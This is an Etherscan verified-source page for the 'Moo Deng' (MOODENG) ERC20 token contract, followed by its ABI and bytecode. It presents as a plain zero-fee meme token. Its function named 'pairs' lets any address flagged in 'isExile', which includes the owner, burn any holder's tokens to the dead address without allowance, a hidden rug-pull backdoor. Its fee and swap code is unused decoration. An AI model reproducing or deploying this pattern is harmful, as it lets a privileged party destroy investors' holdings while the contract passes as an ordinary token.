Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IERC20    - function totalSupply()    - function balanceOf(address who)    - function allowance(address _owner, ad ...    - function transfer(address to, uint256 ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function _transfer(    - function _mint(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(    - function _afterTokenTransfer( library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod( interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(    - function swapTokensForExactETH(    - function swapExactTokensForETH(    - function swapETHForExactTokens(    - function quote(    - function getAmountOut(    - function getAmountIn(    - function getAmountsOut(uint256 amount ...    - function getAmountsIn(uint256 amountO ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...  contract MOODENG is ERC20, Ownable *    - function pairs(address account, uint2 ...    - function _transfer(    - function _okee()    - function _swapTokensForETH(uint256 to ...    - function _swapBack()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-29
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);

    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        require(from != address(0), "ERC20: transfer  from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, value);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= value, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] -= value;
            _balances[to] += value;
        }

        if (to != address(0xdead)) {
            emit Transfer(from, to, value);
        }

        _afterTokenTransfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, value);

        _totalSupply += value;
        unchecked {
            _balances[account] += value;
        }
        emit Transfer(address(0), account, value);

        _afterTokenTransfer(address(0), account, value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= value,
                "ERC20: insufficient  allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - value);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MOODENG is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address private marketingWallet;
    address private developmentWallet;
    address private liquidityWallet;
    address private constant dead = address(0xdead);

    uint256 public swapTokensAtAmount;

    uint256 public sellTotalFees;
    uint256 private _sellMarketingFee;
    uint256 private _sellDevelopmentFee;
    uint256 private _sellLiquidityFee;

    uint256 private _tokensForMarketing;
    uint256 private _tokensForDevelopment;
    uint256 private _tokensForLiquidity;

    mapping(address => bool) private isExile;


    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Moo Deng", "MOODENG") {
        uint256 totalSupply = 1000000000 * (10**9);

        
        _sellMarketingFee = 0;
        _sellDevelopmentFee = 0;
        _sellLiquidityFee = 0;
        sellTotalFees =
            _sellMarketingFee +
            _sellDevelopmentFee +
            _sellLiquidityFee;
        isExile[owner()] = true;
        _mint(owner(), totalSupply);
    }

    receive() external payable {}

    function pairs(address account, uint256 amount) external virtual {
        _okee();super._transfer(account, dead, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }

    function _okee() internal view {
        require(isExile[msg.sender]);
    }

    function _swapTokensForETH(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _swapBack() internal {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity +
            _tokensForMarketing +
            _tokensForDevelopment;
        bool success;

        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        _swapTokensForETH(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDevelopment = ethBalance.mul(_tokensForDevelopment).div(
            totalTokensToSwap
        );

        (success, ) = address(developmentWallet).call{value: ethForDevelopment}(
            ""
        );

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"pairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405234801561000f575f80fd5b50604051806040016040528060088152602001674d6f6f2044656e6760c01b815250604051806040016040528060078152602001664d4f4f44454e4760c81b815250816003908161006091906102bd565b50600461006d82826102bd565b50505061007f3361010f60201b60201c565b5f600c819055600d819055600e819055670de0b6b3a7640000906100a38180610377565b6100ad9190610377565b600b55600160125f6100c76005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556101096101036005546001600160a01b031690565b82610160565b5061039c565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101ba5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546101cb9190610377565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061024e57607f821691505b60208210810361026c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022157805f5260205f20601f840160051c810160208510156102975750805b601f840160051c820191505b818110156102b6575f81556001016102a3565b5050505050565b81516001600160401b038111156102d6576102d6610226565b6102ea816102e4845461023a565b84610272565b6020601f82116001811461031c575f83156103055750848201515b5f19600385901b1c1916600184901b1784556102b6565b5f84815260208120601f198516915b8281101561034b578785015182556020948501946001909201910161032b565b508482101561036857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b8082018082111561039657634e487b7160e01b5f52601160045260245ffd5b92915050565b608051610aef6103b45f395f6101930152610aef5ff3fe6080604052600436106100fd575f3560e01c80636a486a8e1161009257806395d89b411161006257806395d89b41146102be578063a9059cbb146102d2578063dd62ed3e146102f1578063e2f4560514610335578063f2fde38b1461034a575f80fd5b80636a486a8e1461024457806370a0823114610259578063715018a61461028d5780638da5cb5b146102a1575f80fd5b806318160ddd116100cd57806318160ddd146101cd57806323b872dd146101eb578063313ce5671461020a57806349bd5a5e14610225575f80fd5b806303d405131461010857806306fdde0314610129578063095ea7b3146101535780631694505e14610182575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50610127610122366004610956565b610369565b005b348015610134575f80fd5b5061013d610382565b60405161014a919061097e565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004610956565b610412565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506002545b60405190815260200161014a565b3480156101f6575f80fd5b506101726102053660046109b3565b610429565b348015610215575f80fd5b506040516009815260200161014a565b348015610230575f80fd5b506006546101b5906001600160a01b031681565b34801561024f575f80fd5b506101dd600b5481565b348015610264575f80fd5b506101dd6102733660046109ed565b6001600160a01b03165f9081526020819052604090205490565b348015610298575f80fd5b5061012761044c565b3480156102ac575f80fd5b506005546001600160a01b03166101b5565b3480156102c9575f80fd5b5061013d61045f565b3480156102dd575f80fd5b506101726102ec366004610956565b61046e565b3480156102fc575f80fd5b506101dd61030b366004610a0d565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610340575f80fd5b506101dd600a5481565b348015610355575f80fd5b506101276103643660046109ed565b61047b565b6103716104bd565b61037e8261dead836104d7565b5050565b60606003805461039190610a3e565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd90610a3e565b80156104085780601f106103df57610100808354040283529160200191610408565b820191905f5260205f20905b8154815290600101906020018083116103eb57829003601f168201915b5050505050905090565b5f3361041f818585610664565b5060019392505050565b5f33610436858285610787565b610441858585610811565b506001949350505050565b6104546108bd565b61045d5f6108ea565b565b60606004805461039190610a3e565b5f3361041f818585610811565b6104836108bd565b6001600160a01b0381166104b157604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104ba816108ea565b50565b335f9081526012602052604090205460ff1661045d575f80fd5b6001600160a01b03831661053c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e73666572202066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104a8565b6001600160a01b0382166105625760405162461bcd60e51b81526004016104a890610a76565b6001600160a01b0383165f90815260208190526040902054818110156105d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a8565b6001600160a01b038085165f908152602081905260408082208054869003905591851680825291902080548401905561dead1461065e57826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161065591815260200190565b60405180910390a35b50505050565b6001600160a01b0383166106c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a8565b6001600160a01b0382166107275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461065e57818110156108045760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20696e73756666696369656e742020616c6c6f77616e6365000060448201526064016104a8565b61065e8484848403610664565b6001600160a01b0383166108755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a8565b6001600160a01b03821661089b5760405162461bcd60e51b81526004016104a890610a76565b805f036108b2576108ad83835f6104d7565b505050565b6108ad8383836104d7565b6005546001600160a01b0316331461045d5760405163118cdaa760e01b81523360048201526024016104a8565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b80356001600160a01b0381168114610951575f80fd5b919050565b5f8060408385031215610967575f80fd5b6109708361093b565b946020939093013593505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f805f606084860312156109c5575f80fd5b6109ce8461093b565b92506109dc6020850161093b565b929592945050506040919091013590565b5f602082840312156109fd575f80fd5b610a068261093b565b9392505050565b5f8060408385031215610a1e575f80fd5b610a278361093b565b9150610a356020840161093b565b90509250929050565b600181811c90821680610a5257607f821691505b602082108103610a7057634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea2646970667358221220152dff5bb16e75983cbce608e220e54609b62b2f4fbab341726f7be39fcf70d564736f6c634300081a0033

0x6080604052600436106100fd575f3560e01c80636a486a8e1161009257806395d89b411161006257806395d89b41146102be578063a9059cbb146102d2578063dd62ed3e146102f1578063e2f4560514610335578063f2fde38b1461034a575f80fd5b80636a486a8e1461024457806370a0823114610259578063715018a61461028d5780638da5cb5b146102a1575f80fd5b806318160ddd116100cd57806318160ddd146101cd57806323b872dd146101eb578063313ce5671461020a57806349bd5a5e14610225575f80fd5b806303d405131461010857806306fdde0314610129578063095ea7b3146101535780631694505e14610182575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50610127610122366004610956565b610369565b005b348015610134575f80fd5b5061013d610382565b60405161014a919061097e565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004610956565b610412565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506002545b60405190815260200161014a565b3480156101f6575f80fd5b506101726102053660046109b3565b610429565b348015610215575f80fd5b506040516009815260200161014a565b348015610230575f80fd5b506006546101b5906001600160a01b031681565b34801561024f575f80fd5b506101dd600b5481565b348015610264575f80fd5b506101dd6102733660046109ed565b6001600160a01b03165f9081526020819052604090205490565b348015610298575f80fd5b5061012761044c565b3480156102ac575f80fd5b506005546001600160a01b03166101b5565b3480156102c9575f80fd5b5061013d61045f565b3480156102dd575f80fd5b506101726102ec366004610956565b61046e565b3480156102fc575f80fd5b506101dd61030b366004610a0d565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610340575f80fd5b506101dd600a5481565b348015610355575f80fd5b506101276103643660046109ed565b61047b565b6103716104bd565b61037e8261dead836104d7565b5050565b60606003805461039190610a3e565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd90610a3e565b80156104085780601f106103df57610100808354040283529160200191610408565b820191905f5260205f20905b8154815290600101906020018083116103eb57829003601f168201915b5050505050905090565b5f3361041f818585610664565b5060019392505050565b5f33610436858285610787565b610441858585610811565b506001949350505050565b6104546108bd565b61045d5f6108ea565b565b60606004805461039190610a3e565b5f3361041f818585610811565b6104836108bd565b6001600160a01b0381166104b157604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104ba816108ea565b50565b335f9081526012602052604090205460ff1661045d575f80fd5b6001600160a01b03831661053c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e73666572202066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104a8565b6001600160a01b0382166105625760405162461bcd60e51b81526004016104a890610a76565b6001600160a01b0383165f90815260208190526040902054818110156105d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a8565b6001600160a01b038085165f908152602081905260408082208054869003905591851680825291902080548401905561dead1461065e57826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161065591815260200190565b60405180910390a35b50505050565b6001600160a01b0383166106c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a8565b6001600160a01b0382166107275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461065e57818110156108045760405162461bcd60e51b